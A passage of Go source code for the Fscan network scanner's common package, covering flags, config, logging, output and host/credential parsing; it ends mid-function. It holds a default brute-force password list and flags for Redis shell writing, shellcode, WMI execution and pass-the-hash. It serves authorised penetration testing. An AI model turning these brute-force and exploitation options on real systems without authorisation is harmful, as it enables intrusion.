var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
var (
Outputfile string // 输出文件路径
OutputFormat string // 输出格式
)
// 添加一个全局的进度条变量
var ProgressBar *progressbar.ProgressBar
// 添加一个全局互斥锁来控制输出
var OutputMutex sync.Mutex
type PocInfo struct {
Target string
PocName string
}
var (
// 目标配置
Ports string
ExcludePorts string // 原NoPorts
ExcludeHosts string
AddPorts string // 原PortAdd
// 认证配置
Username string
Password string
Domain string
SshKeyPath string // 原SshKey
AddUsers string // 原UserAdd
AddPasswords string // 原PassAdd
// 扫描配置
ScanMode string // 原Scantype
ThreadNum int // 原Threads
//UseSynScan bool
Timeout int64 = 3
LiveTop int
DisablePing bool // 原NoPing
UsePing bool // 原Ping
Command string
SkipFingerprint bool
// 文件配置
HostsFile string // 原HostFile
UsersFile string // 原Userfile
PasswordsFile string // 原Passfile
HashFile string // 原Hashfile
PortsFile string // 原PortFile
// Web配置
TargetURL string // 原URL
URLsFile string // 原UrlFile
URLs []string // 原Urls
WebTimeout int64 = 5
HttpProxy string // 原Proxy
Socks5Proxy string
LocalMode bool // -local 本地模式
// POC配置
PocPath string
Pocinfo PocInfo
// Redis配置
RedisFile string
RedisShell string
DisableRedis bool // 原Noredistest
// 爆破配置
DisableBrute bool // 原IsBrute
BruteThreads int // 原BruteThread
MaxRetries int // 最大重试次数
// 其他配置
RemotePath string // 原Path
HashValue string // 原Hash
HashValues []string // 原Hashs
HashBytes [][]byte
HostPort []string
Shellcode string // 原SC
EnableWmi bool // 原IsWmi
// 输出配置
DisableSave bool // 禁止保存结果
Silent bool // 静默模式
NoColor bool // 禁用彩色输出
JsonFormat bool // JSON格式输出
LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
Language string // 语言
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
)

138
Common/Flag.go Normal file
View File

@ -0,0 +1,138 @@
package Common
import (
"flag"
"fmt"
"github.com/fatih/color"
"strings"
)
func Banner() {
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
c.Print(line)
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
c := color.New(colors[1])
c.Printf(" Fscan Version: %s\n\n", version)
}
func Flag(Info *HostInfo) {
Banner()
// 目标配置
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
// 认证配置
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain"))
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
// 扫描配置
flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 60, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.StringVar(&Command, "c", "", GetText("flag_command"))
flag.BoolVar(&SkipFingerprint, "skip", false, GetText("flag_skip_fingerprint"))
// 文件配置
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&PortsFile, "portf", "", GetText("flag_ports_file"))
// Web配置
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
// 本地扫描配置
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
// POC配置
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
// Redis利用配置
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
// 暴力破解配置
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
// 其他配置
flag.StringVar(&RemotePath, "path", "", GetText("flag_remote_path"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.BoolVar(&EnableWmi, "wmi", false, GetText("flag_enable_wmi"))
// 输出配置
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.BoolVar(&JsonFormat, "json", false, GetText("flag_json_format"))
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
flag.Parse()
SetLanguage()
}

238
Common/Log.go Normal file
View File

@ -0,0 +1,238 @@
package Common
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// 全局变量定义
var (
// 扫描状态管理器,记录最近一次成功和错误的时间
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
// Num 表示待处理的总任务数量
Num int64
// End 表示已经完成的任务数量
End int64
)
// ScanStatus 用于记录和管理扫描状态的结构体
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
Time time.Time // 日志时间
Content string // 日志内容
}
// 定义系统支持的日志级别常量
const (
LogLevelAll = "ALL" // 显示所有级别日志
LogLevelError = "ERROR" // 仅显示错误日志
LogLevelInfo = "INFO" // 仅显示信息日志
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
LogLevelDebug = "DEBUG" // 仅显示调试日志
)
// 日志级别对应的显示颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgRed, // 错误日志显示红色
LogLevelInfo: color.FgYellow, // 信息日志显示黄色
LogLevelSuccess: color.FgGreen, // 成功日志显示绿色
LogLevelDebug: color.FgBlue, // 调试日志显示蓝色
}
// InitLogger 初始化日志系统
func InitLogger() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
// formatLogMessage 格式化日志消息为标准格式
// 返回格式:[时间] [级别] 内容
func formatLogMessage(entry *LogEntry) string {
timeStr := entry.Time.Format("2006-01-02 15:04:05")
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content)
}
// printLog 根据日志级别打印日志
func printLog(entry *LogEntry) {
// 根据当前设置的日志级别过滤日志
shouldPrint := false
switch LogLevel {
case LogLevelDebug:
// DEBUG级别显示所有日志
shouldPrint = true
case LogLevelError:
// ERROR级别显示 ERROR、SUCCESS、INFO
shouldPrint = entry.Level == LogLevelError ||
entry.Level == LogLevelSuccess ||
entry.Level == LogLevelInfo
case LogLevelSuccess:
// SUCCESS级别显示 SUCCESS、INFO
shouldPrint = entry.Level == LogLevelSuccess ||
entry.Level == LogLevelInfo
case LogLevelInfo:
// INFO级别只显示 INFO
shouldPrint = entry.Level == LogLevelInfo
case LogLevelAll:
// ALL显示所有日志
shouldPrint = true
default:
// 默认只显示 INFO
shouldPrint = entry.Level == LogLevelInfo
}
if !shouldPrint {
return
}
OutputMutex.Lock()
defer OutputMutex.Unlock()
// 处理进度条
clearAndWaitProgress()
// 打印日志消息
logMsg := formatLogMessage(entry)
if !NoColor {
// 使用彩色输出
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
// 普通输出
fmt.Println(logMsg)
}
// 等待日志输出完成
time.Sleep(50 * time.Millisecond)
// 重新显示进度条
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// clearAndWaitProgress 清除进度条并等待
func clearAndWaitProgress() {
if ProgressBar != nil {
ProgressBar.Clear()
time.Sleep(10 * time.Millisecond)
}
}
// LogError 记录错误日志,自动包含文件名和行号信息
func LogError(errMsg string) {
// 获取调用者的文件名和行号
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
file = filepath.Base(file)
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
entry := &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}
handleLog(entry)
}
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogInfo 记录信息日志
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// CheckErrs 检查是否为需要重试的错误
func CheckErrs(err error) error {
if err == nil {
return nil
}
// 已知需要重试的错误列表
errs := []string{
"closed by the remote host", "too many connections",
"EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(3 * time.Second)
return err
}
}
return nil
}

245
Common/Output.go Normal file
View File

@ -0,0 +1,245 @@
package Common
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
// 全局输出管理器
var ResultOutput *OutputManager
// OutputManager 输出管理器结构体
type OutputManager struct {
mu sync.Mutex
outputPath string
outputFormat string
file *os.File
csvWriter *csv.Writer
jsonEncoder *json.Encoder
isInitialized bool
}
// ResultType 定义结果类型
type ResultType string
const (
HOST ResultType = "HOST" // 主机存活
PORT ResultType = "PORT" // 端口开放
SERVICE ResultType = "SERVICE" // 服务识别
VULN ResultType = "VULN" // 漏洞发现
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// InitOutput 初始化输出系统
func InitOutput() error {
LogDebug(GetText("output_init_start"))
// 验证输出格式
switch OutputFormat {
case "txt", "json", "csv":
// 有效的格式
default:
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
}
// 验证输出路径
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
}
dir := filepath.Dir(Outputfile)
if err := os.MkdirAll(dir, 0755); err != nil {
LogDebug(GetText("output_create_dir_failed", err))
return fmt.Errorf(GetText("output_create_dir_failed", err))
}
manager := &OutputManager{
outputPath: Outputfile,
outputFormat: OutputFormat,
}
if err := manager.initialize(); err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
}
ResultOutput = manager
LogDebug(GetText("output_init_success"))
return nil
}
func (om *OutputManager) initialize() error {
om.mu.Lock()
defer om.mu.Unlock()
if om.isInitialized {
LogDebug(GetText("output_already_init"))
return nil
}
LogDebug(GetText("output_opening_file", om.outputPath))
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return fmt.Errorf(GetText("output_open_file_failed", err))
}
om.file = file
switch om.outputFormat {
case "csv":
LogDebug(GetText("output_init_csv"))
om.csvWriter = csv.NewWriter(file)
headers := []string{"Time", "Type", "Target", "Status", "Details"}
if err := om.csvWriter.Write(headers); err != nil {
LogDebug(GetText("output_write_csv_header_failed", err))
file.Close()
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
}
om.csvWriter.Flush()
case "json":
LogDebug(GetText("output_init_json"))
om.jsonEncoder = json.NewEncoder(file)
om.jsonEncoder.SetIndent("", " ")
case "txt":
LogDebug(GetText("output_init_txt"))
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
}
om.isInitialized = true
LogDebug(GetText("output_init_complete"))
return nil
}
// SaveResult 保存扫描结果
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result)
}
func (om *OutputManager) saveResult(result *ScanResult) error {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
var err error
switch om.outputFormat {
case "txt":
err = om.writeTxt(result)
case "json":
err = om.writeJson(result)
case "csv":
err = om.writeCsv(result)
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
}
if err != nil {
LogDebug(GetText("output_save_failed", err))
} else {
LogDebug(GetText("output_save_success", result.Type, result.Target))
}
return err
}
func (om *OutputManager) writeTxt(result *ScanResult) error {
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
}
details = strings.Join(pairs, ", ")
}
txt := GetText("output_txt_format",
result.Time.Format("2006-01-02 15:04:05"),
result.Type,
result.Target,
result.Status,
details,
) + "\n"
_, err := om.file.WriteString(txt)
return err
}
func (om *OutputManager) writeJson(result *ScanResult) error {
return om.jsonEncoder.Encode(result)
}
func (om *OutputManager) writeCsv(result *ScanResult) error {
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte("{}")
}
record := []string{
result.Time.Format("2006-01-02 15:04:05"),
string(result.Type),
result.Target,
result.Status,
string(details),
}
if err := om.csvWriter.Write(record); err != nil {
return err
}
om.csvWriter.Flush()
return om.csvWriter.Error()
}
// CloseOutput 关闭输出系统
func CloseOutput() error {
if ResultOutput == nil {
LogDebug(GetText("output_no_need_close"))
return nil
}
LogDebug(GetText("output_closing"))
ResultOutput.mu.Lock()
defer ResultOutput.mu.Unlock()
if !ResultOutput.isInitialized {
LogDebug(GetText("output_no_need_close"))
return nil
}
if ResultOutput.csvWriter != nil {
LogDebug(GetText("output_flush_csv"))
ResultOutput.csvWriter.Flush()
}
if err := ResultOutput.file.Close(); err != nil {
LogDebug(GetText("output_close_failed", err))
return fmt.Errorf(GetText("output_close_failed", err))
}
ResultOutput.isInitialized = false
LogDebug(GetText("output_closed"))
return nil
}

352
Common/Parse.go Normal file
View File

@ -0,0 +1,352 @@
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strings"
)
func Parse(Info *HostInfo) error {
ParseUser()
ParsePass(Info)
if err := ParseInput(Info); err != nil {
return err
}
return nil
}
// ParseUser 解析用户名配置
func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回
if Username == "" && UsersFile == "" {
return nil
}
var usernames []string
// 处理直接指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
LogInfo(GetText("no_username_specified", len(usernames)))
}
// 从文件加载用户名列表
if UsersFile != "" {
users, err := Readfile(UsersFile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 过滤空用户名
for _, user := range users {
if user != "" {
usernames = append(usernames, user)
}
}
LogInfo(GetText("load_usernames_from_file", len(users)))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
LogInfo(GetText("total_usernames", len(usernames)))
// 更新用户字典
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、哈希值、URL和端口配置
func ParsePass(Info *HostInfo) error {
// 处理直接指定的密码列表
var pwdList []string
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
LogInfo(GetText("load_passwords", len(pwdList)))
}
// 从文件加载密码列表
if PasswordsFile != "" {
passes, err := Readfile(PasswordsFile)
if err != nil {
return fmt.Errorf("读取密码文件失败: %v", err)
}
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
LogInfo(GetText("load_passwords_from_file", len(passes)))
}
// 处理哈希文件
if HashFile != "" {
hashes, err := Readfile(HashFile)
if err != nil {
return fmt.Errorf("读取哈希文件失败: %v", err)
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
if len(line) == 32 {
HashValues = append(HashValues, line)
validCount++
} else {
LogError(GetText("invalid_hash", line))
}
}
LogInfo(GetText("load_valid_hashes", validCount))
}
// 处理直接指定的URL列表
if TargetURL != "" {
urls := strings.Split(TargetURL, ",")
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
URLs = append(URLs, url)
}
}
}
LogInfo(GetText("load_urls", len(URLs)))
}
// 从文件加载URL列表
if URLsFile != "" {
urls, err := Readfile(URLsFile)
if err != nil {
return fmt.Errorf("读取URL文件失败: %v", err)
}
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
URLs = append(URLs, url)
}
}
}
LogInfo(GetText("load_urls_from_file", len(urls)))
}
// 从文件加载主机列表
if HostsFile != "" {
hosts, err := Readfile(HostsFile)
if err != nil {
return fmt.Errorf("读取主机文件失败: %v", err)
}
tmpHosts := make(map[string]struct{})
for _, host := range hosts {
if host != "" {
if _, ok := tmpHosts[host]; !ok {
tmpHosts[host] = struct{}{}
if Info.Host == "" {
Info.Host = host
} else {
Info.Host += "," + host
}
}
}
}
LogInfo(GetText("load_hosts_from_file", len(hosts)))
}
// 从文件加载端口列表
if PortsFile != "" {
ports, err := Readfile(PortsFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
var newport strings.Builder
for _, port := range ports {
if port != "" {
newport.WriteString(port)
newport.WriteString(",")
}
}
Ports = newport.String()
LogInfo(GetText("load_ports_from_file"))
}
return nil
}
// Readfile 读取文件内容并返回非空行的切片
func Readfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_failed", filename, err))
return nil, err
}
LogInfo(GetText("read_file_success", filename, lineCount))
return content, nil
}
// ParseInput 解析和验证输入参数配置
func ParseInput(Info *HostInfo) error {
// 检查互斥的扫描模式
modes := 0
if Info.Host != "" || HostsFile != "" {
modes++
}
if TargetURL != "" || URLsFile != "" {
modes++
}
if LocalMode {
modes++
}
if modes == 0 {
// 无参数时显示帮助
flag.Usage()
return fmt.Errorf(GetText("specify_scan_params"))
} else if modes > 1 {
return fmt.Errorf(GetText("params_conflict"))
}
// 处理爆破线程配置
if BruteThreads <= 0 {
BruteThreads = 1
LogInfo(GetText("brute_threads", BruteThreads))
}
// 处理端口配置
if Ports == MainPorts {
Ports += "," + WebPorts
}
if AddPorts != "" {
if strings.HasSuffix(Ports, ",") {
Ports += AddPorts
} else {
Ports += "," + AddPorts
}
LogInfo(GetText("extra_ports", AddPorts))
}
// 处理用户名配置
if AddUsers != "" {
users := strings.Split(AddUsers, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
LogInfo(GetText("extra_usernames", AddUsers))
}
// 处理密码配置
if AddPasswords != "" {
passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
LogInfo(GetText("extra_passwords", AddPasswords))
}
// 处理Socks5代理配置
if Socks5Proxy != "" {
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf(GetText("socks5_proxy_error", err))
}
DisablePing = true
LogInfo(GetText("socks5_proxy", Socks5Proxy))
}
// 处理HTTP代理配置
if HttpProxy != "" {
switch HttpProxy {
case "1":
HttpProxy = "http://127.0.0.1:8080"
case "2":
HttpProxy = "socks5://127.0.0.1:1080"
default:
if !strings.Contains(HttpProxy, "://") {
HttpProxy = "http://127.0.0.1:" + HttpProxy
}
}
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
return fmt.Errorf(GetText("unsupported_proxy"))
}
_, err := url.Parse(HttpProxy)
if err != nil {
return fmt.Errorf(GetText("proxy_format_error", err))
}
LogInfo(GetText("http_proxy", HttpProxy))
}
// 处理Hash配置
if HashValue != "" {
if len(HashValue) != 32 {
return fmt.Errorf(GetText("hash_length_error"))
}
HashValues = append(HashValues, HashValue)
}
// 处理Hash列表
HashValues = RemoveDuplicate(HashValues)
for _, hash := range HashValues {
hashByte, err := hex.DecodeString(hash)
if err != nil {
LogError(GetText("hash_decode_failed", hash))
continue
}
HashBytes = append(HashBytes, hashByte)
}
HashValues = []string{}
return nil
}

334
Common/ParseIP.go Normal file
View File

@ -0,0 +1,334 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
var ParseIPErr = errors.New(GetText("parse_ip_error"))
// ParseIP 解析IP地址配置
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
LogInfo(GetText("host_port_parsed", Ports))
}
} else {
// 解析主机地址
hosts = ParseIPs(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := Readipfile(filename)
if err != nil {
LogError(GetText("read_host_file_failed", err))
} else {
hosts = append(hosts, fileHosts...)
LogInfo(GetText("extra_hosts_loaded", len(fileHosts)))
}
}
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeHosts := ParseIPs(nohosts[0])
if len(excludeHosts) > 0 {
// 使用map存储有效主机
temp := make(map[string]struct{})
for _, host := range hosts {
temp[host] = struct{}{}
}
// 删除需要排除的主机
for _, host := range excludeHosts {
delete(temp, host)
}
// 重建主机列表
var newHosts []string
for host := range temp {
newHosts = append(newHosts, host)
}
hosts = newHosts
sort.Strings(hosts)
LogInfo(GetText("hosts_excluded", len(excludeHosts)))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
LogInfo(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ParseIPErr
}
return hosts, nil
}
func ParseIPs(ip string) (hosts []string) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips = parseIP(ip)
hosts = append(hosts, ips...)
}
} else {
hosts = parseIP(ip)
}
return hosts
}
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case ip == "192":
return parseIP("192.168.0.0/16")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
case strings.Contains(ip, "/"):
return parseIP2(ip)
case reg.MatchString(ip):
return []string{ip}
case strings.Contains(ip, "-"):
return parseIP1(ip)
default:
testIP := net.ParseIP(ip)
if testIP == nil {
LogError(GetText("invalid_ip_format", ip))
return nil
}
return []string{ip}
}
}
// parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string {
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
LogError(GetText("cidr_parse_failed", host, err))
return nil
}
ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange)
LogInfo(GetText("parse_cidr_to_range", host, ipRange))
return hosts
}
// parseIP1 解析IP范围格式的地址
func parseIP1(ip string) []string {
ipRange := strings.Split(ip, "-")
testIP := net.ParseIP(ipRange[0])
var allIP []string
// 处理简写格式 (192.168.111.1-255)
if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil {
LogError(GetText("ip_range_format_error", ip))
return nil
}
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
} else {
// 处理完整IP范围格式
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
LogError(GetText("ip_format_error", ip))
return nil
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
LogError(GetText("invalid_ip_range", ipRange[0], ipRange[1]))
return nil
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." +
strconv.Itoa((num>>16)&0xff) + "." +
strconv.Itoa((num>>8)&0xff) + "." +
